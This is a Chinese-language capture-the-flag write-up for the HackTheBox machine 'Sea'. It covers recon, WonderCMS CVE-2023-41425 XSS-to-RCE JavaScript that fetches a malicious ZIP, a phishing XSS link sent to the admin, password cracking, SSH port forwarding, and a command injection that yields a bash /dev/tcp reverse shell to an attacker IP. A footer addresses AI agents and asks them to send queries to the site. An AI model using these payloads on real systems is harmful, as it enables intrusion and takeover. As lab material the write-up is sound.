> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md).

# Sea HackTheBox 解题记录

{% embed url="<https://app.hackthebox.com/machines/Sea>" %}

{% hint style="warning" %}
**技能**:

* Wonder CMS 利用
* CSRF 漏洞
* （XSS 到 RCE）
* 端口转发
* （LFI - RCE）日志投毒漏洞
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/31b971722db592dfbc5f87608ad1c8cb23718a13" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/247fc285b86225f952208bce06997d72f2eff9ea" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts
```

<figure><img src="/files/fac9f392ab970bb77d7658f847b0c37504316931" alt="" width="563"><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="/files/0865011677c10d6d30a9c898b175f44598c3a7ec" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80,22 10.10.11.28 -oN targeted
```

<figure><img src="/files/7267d1c9877519de0aca70ee36e14c192e5d9ce9" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/0fca713271c104f9be0d73552d0e1f2669a1665e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c960f453729d4410dfce8c5b2e1c0c9a97d2989d" alt=""><figcaption></figcaption></figure>

**发现一个联系站点：**

<figure><img src="/files/28913a2017462f3eb9b348c631aa1420ef670644" alt=""><figcaption></figcaption></figure>

**检查服务器与该站点之间的通信：**/ 我们找到了网站中专门用于联系的部分。我们检查服务器是否在向该站点发送请求。

<figure><img src="/files/670cbd41bcf8261c925989c4bf62bcc26e3e0128" alt=""><figcaption></figcaption></figure>

**在我们的 Web 服务器上接收到一个请求：**/ 为了捕获这个请求，我们使用 Python 搭建一个简单的 HTTP 服务器：

```bash
python3 -m http.server 555
```

<figure><img src="/files/f6821ee43a51bf80a852db9c8e911ed235ad7eb9" alt=""><figcaption></figcaption></figure>

**拦截请求，使用** [burpsuite ](/zh/hacking-tools/web/burpsuite.md)**:**/ 我们使用 Burp Suite 拦截请求以分析通信。

## **可能的** [**SSRF**](/zh/web/ssrf.md)**:**

#### 我们尝试通过 SSRF 攻击枚举内部服务，方法是修改查询参数：

```bash
&website=http:127.0.0.1
```

<figure><img src="/files/43446df216c99b01db3722d2cb892b0580040370" alt=""><figcaption></figcaption></figure>

**使用 Intruder 发现内部端口：**/ 我们使用 Burp Suite Intruder 进行暴力破解，发现开放的内部端口。

<figure><img src="/files/132d527e229e96f7a38eb853d9b6c6497305c6ed" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d59d684c0433565e0daa347a271a44b3faff0c8f" alt=""><figcaption></figcaption></figure>

**过滤响应：**/ 我们根据响应大小进行过滤，以识别哪些响应相关，但结果都相同。

<figure><img src="/files/c9195ed49afafeeeb1c535169570acccfdcbdb4a" alt=""><figcaption></figcaption></figure>

## WonderCMS 漏洞（[CSRF](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)）：（XSS 到 RCE） <a href="#wondercms-vulnerability" id="wondercms-vulnerability"></a>

**目录搜索：**/ 我们使用 Gobuster 搜索网站目录：

```bash
gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

这为我们返回了 **/themes** 目录，状态码为 301 重定向。

<figure><img src="/files/4a8ba750a10864db191ed5bce523a06728a0cca1" alt=""><figcaption></figcaption></figure>

**探索 themes 目录：**/ 我们继续搜索，将发现的路径添加到 URL 中，并探索 **/themes** 目录

```bash
gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

我们找到了 **/bike** 子目录。

<figure><img src="/files/b411772dd2c841defe0189ca1b2f84706fbb0ae6" alt=""><figcaption></figcaption></figure>

**按文件扩展名过滤：**/ 我们使用 *ffuf* 来过滤特定扩展名（php、html、png 等）的文件，在 **/bike** 目录：

```bash
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
```

该命令让我们找到一个名为 **README.md**

<figure><img src="/files/ed3cf58713491cd2fcabc84999ff4e77293fc3a1" alt=""><figcaption></figcaption></figure>

我们发现一个 `README.md` 的文件，其中表明服务器使用了一个名为“WONDER”的主题，这是一个 CMS。

<figure><img src="/files/d3ccbbf5a682d021174ebdd883b7746ee84ea307" alt=""><figcaption></figcaption></figure>

在搜索与该 CMS 相关的漏洞时，我们发现了一个可通过 XSS 注入实现远程代码执行（RCE）的缺陷。

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**获取 shell 的 JavaScript 代码：**/ 以下 JavaScript 代码会下载一个包含反向 shell 脚本的恶意 ZIP 文件，然后在服务器上执行它：

```javascript
// 服务器在使用 JavaScript 解析域名时存在一些问题
// 我们可以直接按要求提供目标 URL 参数
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// 修改在 HTTP 服务器上提供的 ZIP 文件路径
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // 访问上传的 ZIP 文件中的 rev.php
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // 触发反向 shell 脚本并提供监听 IP 和端口
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**漏洞利用脚本安装（CVE-2023-41425）：**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

我们运行利用脚本：

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

上面的脚本通过一个 `xss.js` 文件向我们的服务器发送请求，从而授予我们 RCE 访问权限并控制目标机器。

<figure><img src="/files/69fce4251f8175ea218300b486dd24e9cb9c5113" alt=""><figcaption></figcaption></figure>

**最后一步：**

我们需要通过 `contact.php` 表单将 XSS 链接发送给管理员，以诱使其点击恶意链接：

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/b7e8b36d0c725900fe87c47e5fafc1384ff60d01" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8f1d5f09a976b8d91fbf663a9b367f2d0ed867f0" alt=""><figcaption></figcaption></figure>

**使用 Netcat 监听：**/ 我们在 4444 端口上监听：

```bash
nc -nlvp 4444
```

<figure><img src="/files/269d5109d758787e672bab37e5bbbb353950f2d9" alt=""><figcaption></figcaption></figure>

#### 一旦你获得 Linux 服务器的访问权限，请使用以下命令来稳定终端 <a href="#terminal-stabilization" id="terminal-stabilization"></a>

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### 稳定 shell 以便更舒适地工作。 <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## 权限提升：

作为用户 *www-data*，我们将使用 `find` 命令过滤内容，只搜索 Web 服务器目录中包含“**密码**”这个词的文件 `/var/www/sea`.

```bash
find /var/www/sea -type f -exec grep -Hn "password" {} /
```

我们在 `database.js` 文件：

`中找到了一个加密密码`

<figure><img src="/files/f873d7a6f7bfefa89f7a5687ef40da45979c5650" alt=""><figcaption></figcaption></figure>

为了破解这个密码，我们使用 **John the Ripper** 工具配合 `rockyou.txt` 字典文件：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/a827153829635a7fcd6d6f127a8cace7c137ae72" alt=""><figcaption></figcaption></figure>

解密后的密码是 mychemicalromance

现在我们尝试连接系统中可用的两个用户：“geo”和“amays”。

<figure><img src="/files/22ab5af28317fc63e6718b238e88765d161c28e3" alt=""><figcaption></figcaption></figure>

用户的密码 **amays** 是正确的。

### user.txt 旗标

<figure><img src="/files/4c3019931541aedcdfbccc4f01d7de856d62eb7b" alt="" width="563"><figcaption></figcaption></figure>

分析内部网络通信时，我们发现 8080 端口正在使用：

```bash
netstat -ano
netstat -nltp
```

<figure><img src="/files/fa89fe12c583f59269353fccc726f129cab1cd57" alt=""><figcaption></figcaption></figure>

因此，我们将通过 SSH 使用端口转发，把服务器的 8080 端口转发到我们攻击机的 8888 端口：

```bash
ssh -L 8888:localhost:8080 amay@10.10.11.28
```

连接后，我们发现一个登录面板。

<figure><img src="/files/afe1b33e77004875f065ab21c8839ce29e50e04e" alt=""><figcaption></figcaption></figure>

使用用户凭据 `amay`: `mychemicalromance`，我们成功连接到了一个监控系统。

<figure><img src="/files/dcf33568a1efde9b077d09f6757fec3d5d38de94" alt=""><figcaption></figcaption></figure>

我们可以观察到 `root`.

<figure><img src="/files/8e8077e1dddd1948bba436b90b7379602dff8f32" alt=""><figcaption></figcaption></figure>

通过 Burp Suite 拦截请求，我们注意到它以更结构化的方式显示了 `/var/log/apache2/access.log` 文件的内容。

<figure><img src="/files/eb49dbf36938881a93803fa083db272ef8071e97" alt=""><figcaption></figcaption></figure>

该文件只能被用户打开 `root`.

<figure><img src="/files/3a2ff8d2f9fefdc7b8d0a1b43fa36fc17858ae8b" alt=""><figcaption></figcaption></figure>

### 漏洞 [（LFI - RCE）日志投毒](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md):

如果我们尝试列出一个文件，比如 `/etc/passwd`，例如：

```
log_file=/etc/passwd  &analyze_log=/etc/passwd
```

该文件被列出了：）

<figure><img src="/files/120d92684613883178fc72ea32b1e59b188ff61c" alt=""><figcaption></figcaption></figure>

接着我们尝试读取包含 `root` flag 的文件，并观察到可以执行命令（例如 `id`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt
```

<figure><img src="/files/866d968734e647fef7e7c7c46dd9a765bb33363b" alt=""><figcaption></figcaption></figure>

### **完整访问（反向 shell）：**

为了获得反向 shell，我们执行以下命令：

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt
```

{% endcode %}

然后，我们使用以下命令进行监听 `nc`:

```bash
nc -nvlp 443
```

### root 的 flag :)

<figure><img src="/files/6c7b7e78502f323de18355f0fbdb512516a8c9cc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/49cbf190fb4925d2ae2c5c9513205d4923f99a18" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
